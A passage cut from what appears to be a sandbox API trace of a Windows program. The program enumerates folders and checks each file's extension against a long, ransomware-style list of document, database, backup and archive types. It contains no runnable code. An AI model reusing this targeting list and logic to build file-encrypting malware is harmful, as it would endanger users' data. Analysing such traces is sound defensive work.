lpString2="s.js") returned -1 [0200.487] lstrlenW (lpString=".csv") returned 4 [0200.487] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0200.487] lstrlenW (lpString=".cub") returned 4 [0200.487] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0200.487] lstrlenW (lpString=".dae") returned 4 [0200.487] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0200.487] lstrlenW (lpString=".dat") returned 4 [0200.487] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0200.487] lstrlenW (lpString=".db") returned 3 [0200.487] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0200.487] lstrlenW (lpString=".dbf") returned 4 [0200.487] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0200.487] lstrlenW (lpString=".dbx") returned 4 [0200.487] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0200.488] lstrlenW (lpString=".dc3") returned 4 [0200.488] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0200.488] lstrlenW (lpString=".dcm") returned 4 [0200.488] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0200.488] lstrlenW (lpString=".dcr") returned 4 [0200.488] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0200.488] lstrlenW (lpString=".der") returned 4 [0200.488] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0200.488] lstrlenW (lpString=".dib") returned 4 [0200.488] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0200.488] lstrlenW (lpString=".dic") returned 4 [0200.488] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0200.488] lstrlenW (lpString=".dif") returned 4 [0200.488] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0200.488] lstrlenW (lpString=".divx") returned 5 [0200.488] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0200.488] lstrlenW (lpString=".djvu") returned 5 [0200.488] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0200.488] lstrlenW (lpString=".dng") returned 4 [0200.488] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0200.488] lstrlenW (lpString=".doc") returned 4 [0200.488] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0200.488] lstrlenW (lpString=".docm") returned 5 [0200.488] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0200.488] lstrlenW (lpString=".docx") returned 5 [0200.488] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0200.488] lstrlenW (lpString=".dot") returned 4 [0200.488] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0200.488] lstrlenW (lpString=".dotm") returned 5 [0200.488] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0200.488] lstrlenW (lpString=".dotx") returned 5 [0200.488] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0200.489] lstrlenW (lpString=".dpx") returned 4 [0200.489] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0200.489] lstrlenW (lpString=".dqy") returned 4 [0200.489] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0200.489] lstrlenW (lpString=".dsn") returned 4 [0200.489] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0200.489] lstrlenW (lpString=".dt") returned 3 [0200.489] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0200.489] lstrlenW (lpString=".dtd") returned 4 [0200.489] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0200.489] lstrlenW (lpString=".dwg") returned 4 [0200.489] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0200.489] lstrlenW (lpString=".dwt") returned 4 [0200.489] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0200.489] lstrlenW (lpString=".dx") returned 3 [0200.489] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0200.489] lstrlenW (lpString=".dxf") returned 4 [0200.489] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0200.489] lstrlenW (lpString=".edml") returned 5 [0200.489] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0200.489] lstrlenW (lpString=".efd") returned 4 [0200.489] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0200.490] lstrlenW (lpString=".elf") returned 4 [0200.490] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0200.490] lstrlenW (lpString=".emf") returned 4 [0200.490] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0200.490] lstrlenW (lpString=".emz") returned 4 [0200.490] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0200.490] lstrlenW (lpString=".epf") returned 4 [0200.490] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0200.490] lstrlenW (lpString=".eps") returned 4 [0200.490] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0200.490] lstrlenW (lpString=".epsf") returned 5 [0200.490] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0200.490] lstrlenW (lpString=".epsp") returned 5 [0200.490] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0200.490] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.490] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0200.491] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.491] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0200.491] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.491] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0200.491] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.491] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0200.492] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.492] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0200.492] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.492] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0200.492] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.492] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0200.492] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.492] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0200.493] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.493] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0200.493] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.493] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0200.493] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.493] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0200.493] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.493] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0200.494] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.494] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0200.494] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.494] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0200.494] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.494] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0200.494] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.494] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0200.495] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.495] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0200.495] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.495] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0200.495] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.495] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0200.495] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.495] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0200.496] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.496] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0200.496] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.496] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0200.496] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0200.496] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0200.496] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0200.496] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0200.497] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0200.497] lstrlenW (lpString="plugin.js") returned 9 [0200.497] lstrlenW (lpString=".1cd") returned 4 [0200.497] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0200.497] lstrlenW (lpString=".3ds") returned 4 [0200.497] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1 [0200.497] lstrlenW (lpString=".3fr") returned 4 [0200.497] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1 [0200.497] lstrlenW (lpString=".3g2") returned 4 [0200.497] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1 [0200.497] lstrlenW (lpString=".3gp") returned 4 [0200.497] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1 [0200.497] lstrlenW (lpString=".7z") returned 3 [0200.497] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0200.497] lstrlenW (lpString=".accda") returned 6 [0200.497] lstrcmpiW (lpString1=".accda", lpString2="gin.js") returned -1 [0200.497] lstrlenW (lpString=".accdb") returned 6 [0200.497] lstrcmpiW (lpString1=".accdb", lpString2="gin.js") returned -1 [0200.497] lstrlenW (lpString=".accdc") returned 6 [0200.497] lstrcmpiW (lpString1=".accdc", lpString2="gin.js") returned -1 [0200.497] lstrlenW (lpString=".accde") returned 6 [0200.497] lstrcmpiW (lpString1=".accde", lpString2="gin.js") returned -1 [0200.498] lstrlenW (lpString=".accdt") returned 6 [0200.498] lstrcmpiW (lpString1=".accdt", lpString2="gin.js") returned -1 [0200.498] lstrlenW (lpString=".accdw") returned 6 [0200.498] lstrcmpiW (lpString1=".accdw", lpString2="gin.js") returned -1 [0200.498] lstrlenW (lpString=".adb") returned 4 [0200.498] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1 [0200.498] lstrlenW (lpString=".adp") returned 4 [0200.498] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1 [0200.498] lstrlenW (lpString=".ai") returned 3 [0200.498] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0200.498] lstrlenW (lpString=".ai3") returned 4 [0200.498] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1 [0200.498] lstrlenW (lpString=".ai4") returned 4 [0200.498] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1 [0200.498] lstrlenW (lpString=".ai5") returned 4 [0200.498] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1 [0200.498] lstrlenW (lpString=".ai6") returned 4 [0200.498] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1 [0200.498] lstrlenW (lpString=".ai7") returned 4 [0200.498] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1 [0200.498] lstrlenW (lpString=".ai8") returned 4 [0200.498] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1 [0200.498] lstrlenW (lpString=".anim") returned 5 [0200.498] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1 [0200.498] lstrlenW (lpString=".arw") returned 4 [0200.498] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1 [0200.498] lstrlenW (lpString=".as") returned 3 [0200.498] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0200.498] lstrlenW (lpString=".asa") returned 4 [0200.498] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1 [0200.498] lstrlenW (lpString=".asc") returned 4 [0200.499] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1 [0200.499] lstrlenW (lpString=".ascx") returned 5 [0200.499] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1 [0200.499] lstrlenW (lpString=".asm") returned 4 [0200.499] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1 [0200.499] lstrlenW (lpString=".asmx") returned 5 [0200.499] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1 [0200.499] lstrlenW (lpString=".asp") returned 4 [0200.499] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1 [0200.499] lstrlenW (lpString=".aspx") returned 5 [0200.499] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1 [0200.499] lstrlenW (lpString=".asr") returned 4 [0200.499] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1 [0200.499] lstrlenW (lpString=".asx") returned 4 [0200.499] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1 [0200.499] lstrlenW (lpString=".avi") returned 4 [0200.499] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1 [0200.499] lstrlenW (lpString=".avs") returned 4 [0200.499] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1 [0200.499] lstrlenW (lpString=".backup") returned 7 [0200.499] lstrcmpiW (lpString1=".backup", lpString2="ugin.js") returned -1 [0200.499] lstrlenW (lpString=".bak") returned 4 [0200.499] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1 [0200.499] lstrlenW (lpString=".bay") returned 4 [0200.499] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1 [0200.499] lstrlenW (lpString=".bd") returned 3 [0200.499] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0200.499] lstrlenW (lpString=".bin") returned 4 [0200.500] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1 [0200.500] lstrlenW (lpString=".bmp") returned 4 [0200.500] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1 [0200.500] lstrlenW (lpString=".bz2") returned 4 [0200.500] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0200.500] lstrlenW (lpString=".c") returned 2 [0200.500] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0200.500] lstrlenW (lpString=".cdr") returned 4 [0200.500] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1 [0200.500] lstrlenW (lpString=".cer") returned 4 [0200.500] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1 [0200.500] lstrlenW (lpString=".cf") returned 3 [0200.500] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0200.500] lstrlenW (lpString=".cfc") returned 4 [0200.500] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1 [0200.500] lstrlenW (lpString=".cfm") returned 4 [0200.500] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1 [0200.500] lstrlenW (lpString=".cfml") returned 5 [0200.500] lstrcmpiW 